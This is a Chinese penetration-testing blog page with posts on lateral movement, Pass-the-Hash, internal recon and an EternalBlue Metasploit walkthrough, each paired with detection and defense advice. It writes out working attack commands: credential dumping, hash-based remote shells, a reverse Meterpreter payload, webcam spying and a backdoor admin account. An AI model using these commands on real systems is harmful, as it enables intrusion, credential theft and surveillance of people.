横向移动 on SoulJian小站

内网横向移动技术全景

Sat, 29 Aug 2026 21:50:00 +0800

写在前面：合法学习边界

横向移动只允许在授权内网进行。对非授权主机横向、抓凭据可能触犯法律。

一、横向移动的本质

拿到一台主机后，用它的身份/凭据去“串”到内网其他主机，扩大控制面。

1
2
3
4


关键三要素：
1. 有凭据（明文/哈希/票据/Token）
2. 目标开放对应服务（445/5985/3389/22…）
3. 目标账号有权限

二、横向移动的凭据来源

1
2
3
4
5


内存抓取：mimikatz sekurlsa::logonpasswords
哈希：NTLM 哈希（PtH）
票据：Kerberos 票据（PtT / 黄金/白银票据）
明文：WDigest、内存缓存、配置文件
账号密码：弱口令爆破

三、横向技术矩阵

1. SMB 横向（最常用）

1
2
3
4
5
6
7
8


# impacket（Linux 侧）
psexec.py DOMAIN/user@ip -hashes :<ntlm> # 交互 Shell
# 解释：通过 SMB 服务创建一个远程会话，-hashes 直接传 NTLM 哈希，无需明文密码
smbexec.py DOMAIN/user@ip -hashes :<ntlm> # 无盘 Shell
# 解释：不走磁盘，通过 SMB 在内存中执行，更隐蔽
crackmapexec smb 网段 -u user -H <hash> # 批量探测
# 解释：对网段批量测试哪些机器能用该哈希登录，[+] 即成功
# 工具：PsExec、CrackMapExec、Impacket

2. WMI 横向

1
2
3


wmiexec.py DOMAIN/user@ip -hashes :<ntlm> # 更隐蔽
# 解释：通过 WMI 远程执行命令，不落地文件，日志更少
# 特点：不落地文件，走 WMI 远程执行

3. WinRM 横向

1
2
3


evil-winrm -i ip -u user -H <ntlm> # 交互 Shell
# 解释：通过 WinRM(5985) 拿到交互 shell，适合支持 WinRM 的主机
# 前提：目标开启 WinRM（5985/5986）

4. RDP 横向

1
2


拿到账号密码/哈希直接远程桌面
注意：RDP 留登录痕迹，动静大

5. SSH 横向（Linux 内网）

1
2


ssh user@ip
# 复用已抓到的 SSH 私钥/口令

6. 计划任务 / 服务

1
2


创建远程计划任务执行命令
远程创建服务（binPath 指向恶意程序）

7. 其他

1
2
3


数据库横向（MSSQL xp_cmdshell / Redis）
Web 应用横向（利用内网 Web 漏洞）
代理 + 隧道（先打通网络再横向）

横向操作步骤

1
2
3
4
5
6


第 1 步：在已控主机抓凭据（mimikatz sekurlsa::logonpasswords）
第 2 步：确认网段与目标（存活探测 + 端口 445/5985/3389）
第 3 步：用 CrackMapExec 批量验证哈希/口令可用性
第 4 步：按服务选工具横向（SMB→psexec、WMI→wmiexec、WinRM→evil-winrm）
第 5 步：横向后在新主机再抓凭据，向域控/核心推进
第 6 步：全程记录，避免破坏业务

四、横向工具汇总

1
2
3
4
5
6


Impacket（psexec/wmiexec/smbexec）
CrackMapExec（批量横向）
evil-winrm
mimikatz（抓凭据）
Cobalt Strike 的 psexec_psh/wmi 模块
fscan（内网批量发现+利用）

五、检测

1
2
3
4
5


同一账号多主机登录（4624/4625 异常）
LSASS 被读取（mimikatz）
SMB/WMI/WinRM 横向扫描特征
计划任务/服务批量创建
异常 NTLM 登录、票据使用

六、防御

1
2
3
4
5


LAPS 防本地管理员密码复用
Credential Guard 隔离凭据
账号分离（域管不登普通机）
最小开放端口，网络分段
EDR 检测横向行为

七、修复（事件后）

1
2
3
4


重置受影响账号密码
清理会话/票据/后门
补齐补丁、收敛暴露面
复测横向路径是否还存在

八、小结

横向移动 = “凭据 + 可达服务 + 权限”。先抓凭据（mimikatz），再用 CrackMapExec/impacket 批量试，是主流打法。防守核心是防凭据泄露（LAPS/Credential Guard）+ 控横向通道（分段/EDR）。

内网横向移动：Pass-the-Hash 实战

Sat, 29 Aug 2026 11:40:00 +0800

写在前面：合法学习边界

Pass-the-Hash 是在目标机器上抓取凭据并横向登录。只能在授权内网靶场进行，禁止在非授权环境使用。

一、漏洞原理

Windows 的 NTLM 认证本质上是拿“密码的哈希”做验证，不需要明文密码。攻击者拿到用户的 NTLM 哈希后，就能以该用户身份登录其他机器。

1
2


有哈希 = 可以认证
哈希不一定要先破解成明文

这不是“破解”，而是“直接用哈希当凭据”，所以叫 Pass-the-Hash。

前提条件：

1
2
3


拿到了某账号的 NTLM 哈希
目标机器 445(SMB) 开放
账号对目标有本地管理员或域管权限

二、影响与危害

1
2
3


横向移动：一台机器沦陷 → 全内网批量沦陷
权限提升：普通机器 → 域控
清除痕迹前可能已被广泛利用

风险等级：高。管理密码复用越严重，影响面越大——一个管理员哈希可能覆盖内网一半以上 Windows。

三、利用 / 复现

第一步：拿到哈希

在已拿下的机器上抓凭据：

1
2
3


mimikatz
privilege::debug
sekurlsa::logonpasswords

输出里 NTLM : <64位hex> 就是目标哈希。

其他途径：

1
2
3


SAM 文件离线提取
LSASS 内存 dump
域控 NTDS.dit

第二步：用哈希横向登录

Linux 侧 impacket：

1
2
3
4
5


# 有交互 Shell（SMB 服务）
psexec.py 'DOMAIN/user@192.168.1.20' -hashes :<NTLM哈希>

# 更隐蔽，走 WMI
wmiexec.py 'DOMAIN/user@192.168.1.20' -hashes :<NTLM哈希>

批量找“哪些机器能用这个哈希登录”：

1

crackmapexec smb 192.168.1.0/24 -u administrator -H <NTLM哈希>

[+] 标记的机器即成功，可加 -x whoami 远程执行命令。

Windows 侧：

1
2


mimikatz
sekurlsa::pth /user:administrator /domain:xx /ntlm:<NTLM哈希>

结果验证

1
2


登录成功、拿到 Shell
crackmapexec 标记 [+]

四、检测

1
2
3
4


同一账号从多台主机同时登录（来源异常）
LSASS 被读取（mimikatz 特征）
大量 4624/4625 登录事件、异常 NTLM 登录
SMB 横向扫描流量特征

五、防御

1
2
3
4


启用 Credential Guard，隔离 LSASS 凭据
开启 LAPS，避免本地管理员密码复用
限制管理员账号横向使用
账号分离：域管账号不登录普通机器

六、修复

1
2
3
4
5


对已泄露的哈希：立即重置相关账号密码
强制全内网管理员密码轮换
清理 LSASS 中残留明文凭据
补装补丁，修复可提取凭据的漏洞
复测：确认旧哈希不再能登录其他机器

七、小结

PtH 之所以“有哈希就能横着走”，是因为 NTLM 协议本就用哈希做凭据。防御核心是 Credential Guard + LAPS + 账号分离 + 监控异常横向登录。

内网渗透：信息收集与存活主机探测

Sat, 29 Aug 2026 11:30:00 +0800

写在前面：合法学习边界

内网渗透只允许在你负责或有明确授权的内网环境进行。对非授权网络做扫描、抓取凭据可能触犯法律。以下命令均以授权靶场为例。

一、先摸清“我”在哪

拿到一台主机后，第一步不是扫全内网，而是先看自己这台机器。

Windows

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


ipconfig /all :: IP、网关、DNS、DHCP
whoami /all :: 用户、组、特权
systeminfo :: 系统版本、补丁、主机名
net user :: 本地用户
net localgroup administrators
netstat -ano :: 端口与连接
arp -a :: 内网缓存（快速发现相邻主机）
tasklist /svc :: 进程与服务
net view :: 共享与域环境
route print :: 路由表（找其他网段）

Linux

1
2
3
4
5
6
7
8


ifconfig / ip a
id && cat /etc/passwd
uname -a && cat /etc/os-release
netstat -antlp # 监听端口
arp -a
ps aux
cat /etc/hosts
ip route

看 ipconfig 和 route 很重要：内网往往不止一个网段，路由表能告诉你有几个可达网段。

二、识别网段与域环境

1
2
3


网关是 x.x.x.1，说明很可能在 /24 网段
DNS 指向域控，主机加入域 → 可能涉及域渗透
route 里出现多个网段 → 存在内网核心区

域环境的特征：

1
2
3


net user 显示的域前缀
DNS 服务器 = 域控 IP
存在 SRV 记录（_ldap、_kerberos）

三、存活探测

确定网段后，先做快速存活发现，别一上来就全端口扫。

ARP 探测（Windows，最准）

1

arp -a

或者用 arpscan：

1

arp -s 192.168.1.10 ...

ICMP 批量

1

for i in $(seq 1 254); do ping -c 1 -W 1 192.168.1.$i & done

用工具

1
2
3
4


fscan -h 192.168.1.0/24 # 国内实战高频，又快又全
nbtscan 192.168.1.0/24
nmap -sn 192.168.1.0/24
crackmapexec smb 192.168.1.0/24 # 同时探测 SMB 与主机名

fscan 的特点是一次跑完存活、端口、常见服务与弱口令，非常省时间。但要注意：主动扫描会产生流量，需确认授权范围。

四、主机画像

存活主机找到后，给每台机器画个像：

1
2
3
4


开放了哪些端口
跑什么服务
是域控、文件服务器还是 Web 机
有没有 SMB / RDP / MSSQL / Redis 等高价值服务

常用判断：

1
2
3
4
5


445 开放 → 可尝试 SMB 与横向
3389 开放 → RDP
1433 → MSSQL，弱口令常出问题
6379 → Redis，未授权常见
88 → Kerberos，说明可能是域控/域成员

影响与风险

信息收集本身风险不高，但决定后续走向：

1
2
3


信息收集不完整 → 漏掉高价值目标
不验证归属 → 把无关资产算进目标，越界
主动扫描流量大 → 暴露痕迹、惊动防守方

错误的信息收集会把整个测试带偏，甚至造成违规。

五、常见误区

1
2
3
4


一上来就全端口 nmap 全扫，流量大又慢
忽略 arp -a 和路由表，漏掉关键网段
不区分内网机器归属，把 DMZ 和办公网混在一起
只扫不记录，结果无法沉淀成报告

加固建议

1
2
3
4


减少内部服务暴露面，收敛端口
账号/口令复杂度与复用控制
部署内网流量监控与基线核查
对异常扫描与探测行为告警

六、小结

内网信息收集的核心是“先看自己，再找网段，最后给主机画像”。效率工具（fscan、crackmapexec）能省大量时间，但判断“谁是重点目标”才是真正决定后续横向路径的能力。

永恒之蓝漏洞复现

Mon, 21 Apr 2025 21:20:47 +0800

（一）什么是永恒之蓝？

定义：永恒之蓝（Eternal Blue）是一种利用 Windows 系统 SMB 协议漏洞（通常使用 139、445 端口）的攻击方式，攻击者通过该漏洞可获取系统最高权限，进而控制被入侵计算机。
影响范围：
- 2017 年 5 月 12 日，不法分子改造"永恒之蓝"制作了 WannaCry 勒索病毒，导致全球范围内大量机构（包括学校、大型企业和政府机构）遭受攻击。
- 被攻击设备被锁定，要求支付 300 美元比特币赎金，否则删除文件。
- 攻击通过扫描开放 445 端口的 Windows 机器，无需用户操作，开机上网即可被植入勒索软件、远程控制木马等恶意程序。
- 受影响国家包括乌克兰、俄罗斯、西班牙、法国、英国等，重要基础设施（政府、银行、电力系统等）均被波及。

（二）受影响的系统版本

桌面操作系统：
- Windows XP
- Windows Vista
- Windows 7
- Windows 8
- Windows 8.1
- Windows 10
服务器操作系统：
- Windows Server 2000
- Windows Server 2003
- Windows Server 2008
- Windows Server 2012
- Windows Server 2016
备注：是否受影响取决于是否安装了对应的补丁。

二、永恒之蓝攻击步骤

（一）内网扫描存活机器

命令：

1

nmap -sS -p 445 192.168.110.0/24 > p_445

解释：
- 使用 nmap 工具进行半开放扫描（-sS），扫描指定网段（192.168.110.0/24）内开放 445 端口的主机。
- 扫描结果保存到文件 p_445 中。
目的：找出内网中可能存在的目标主机。

（二）确定攻击目标

操作：筛选出开放 445 端口的存活机器，确定攻击目标。

（三）测试目标连通性

命令：
1

ping [目标IP]
解释：通过 ping 命令测试目标主机的网络连通性，确保目标主机可达。

（四）打开 Kali 数据库

命令：

1
2
3


service postgresql status
service postgresql start
service postgresql status

解释：
- 查看 PostgreSQL 数据库服务的状态。
- 如果未开启，则启动数据库服务。
- 再次确认数据库服务已成功启动。

（五）数据库初始化

命令：
1

msfdb init
解释：初始化 Metasploit 框架的数据库，为后续攻击做准备。

（六）启动 msf 工具

命令：
1

msfconsole
解释：启动 Metasploit 框架的控制台。

（七）搜索永恒之蓝漏洞

命令：
1

search ms17_010
解释：在 Metasploit 框架中搜索与 MS17-010 漏洞相关的模块。

（八）选择扫描模块

命令：

1
2


use auxiliary/scanner/smb/smb_ms17_010
use exploit/windows/smb/ms17_010_eternalblue

解释：
- auxiliary/scanner/smb/smb_ms17_010：用于扫描目标主机是否存在 MS17-010 漏洞（Proof of Concept，PoC 扫描）。
- exploit/windows/smb/ms17_010_eternalblue：用于实际利用 MS17-010 漏洞的攻击模块。

（九）设置扫描基本配置

命令：

1
2
3


set rhost [目标IP]
set payload windows/x64/meterpreter/reverse_tcp
set lhost [攻击机IP]

解释：
- rhost：设置目标主机的 IP 地址。
- payload：设置攻击载荷，这里使用的是 windows/x64/meterpreter/reverse_tcp，即 64 位 Windows 系统的 Meterpreter 反向 TCP 连接。
- lhost：设置攻击机的 IP 地址，用于接收目标主机的 Meterpreter 连接。

（十）开始攻击

命令：
1 2

run exploit
解释：执行攻击，利用 MS17-010 漏洞入侵目标主机。

（十一）攻击生效

操作：攻击成功后，可进行以下操作：
- 文件上传下载
- 获取截屏
- 获取密码
- 开启摄像头
- 后门持久化等

三、漏洞利用

（一）截屏

命令：
1

screenshot
解释：通过 Meterpreter 的 screenshot 命令获取目标主机的屏幕截图，截图保存在攻击机的 /home/mz/ 目录下。

（二）获取账号密码

命令：

1
2
3
4
5


hashdump
load kiwi
ps -S "csrss"
migrate [进程号]
creds_all

解释：
- hashdump：获取目标主机的用户名及加密密码。
- load kiwi：加载 Kiwi 模块，用于获取更详细的凭证信息。
- ps -S "csrss"：搜索 csrss.exe 进程，获取其进程号。
- migrate [进程号]：将 Meterpreter 迁移到指定进程，获取更高的权限（如 SYSTEM 权限）。
- creds_all：获取目标主机的所有凭证信息，包括解析加密密码。

（三）实时监控

命令：
1 2

run vnc screenshare
解释：
- run vnc：启动 VNC 服务，用于远程桌面监控。
- screenshare：共享屏幕，实时查看目标主机的屏幕操作。

（四）开启摄像头

命令：
1

webcam_stream
解释：通过 Meterpreter 的 webcam_stream 命令开启目标主机的摄像头，实时监控。

四、后渗透阶段

（一）Shell 连接目标机器

命令：
1

shell
解释：通过 Meterpreter 的 shell 命令获取目标主机的命令行交互界面。

（二）消除乱码

命令：
1

chcp 65001
解释：在目标主机上设置字符编码为 UTF-8，避免乱码问题。

（三）开启目标远程桌面服务

命令：

1

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

解释：通过 Windows Management Instrumentation Command-line（WMIC）工具开启目标主机的远程桌面服务（默认端口 3389）。

（四）查看端口开启状态

命令：
1

netstat -an
解释：查看目标主机的网络连接状态，确认远程桌面服务端口（3389）是否已开启。

（五）远程桌面连接

命令：
1

rdesktop [目标IP]
解释：使用 rdesktop 工具连接目标主机的远程桌面服务。

（六）登录账号密码

操作：
- 如果目标主机已有账号密码，直接使用。
- 如果没有，可通过以下命令新建用户并提升为管理员：
  - 创建用户：
    1
    
    net user hack 123456 /add
  - 提升为管理员：
    1
    
    net localgroup administrators hack /add

影响与危害

永恒之蓝能造成：

1
2
3


远程代码执行，获取 SYSTEM 最高权限
内网大范围横向感染（WannaCry 即基于它传播）
服务器被勒索、挖矿、植入后门

风险等级：严重。无需用户交互，开机联网即可被利用。

修复

1
2
3
4
5


安装 MS17-010 对应补丁（最根本）
关闭/限制不必要 445 端口，网络隔离
用杀软/EDR 检测横向利用与异常 SMB 行为
对已失陷主机做取证与后门清理
修复后复测：smb_ms17_010 扫描不再报可利用

图形化建议

你可以根据上述内容绘制以下流程图：

攻击流程图：
- 内网扫描存活机器 → 确定攻击目标 → 测试目标连通性 → 打开 Kali 数据库 → 数据库初始化 → 启动 msf 工具 → 搜索漏洞 → 选择扫描模块 → 设置扫描配置 → 开始攻击 → 攻击生效。
漏洞利用流程图：
- 截屏 → 获取账号密码 → 实时监控 → 开启摄像头。
后渗透阶段流程图：
- Shell 连接目标机器 → 消除乱码 → 开启远程桌面服务 → 查看端口状态 → 远程桌面连接 → 登录账号密码。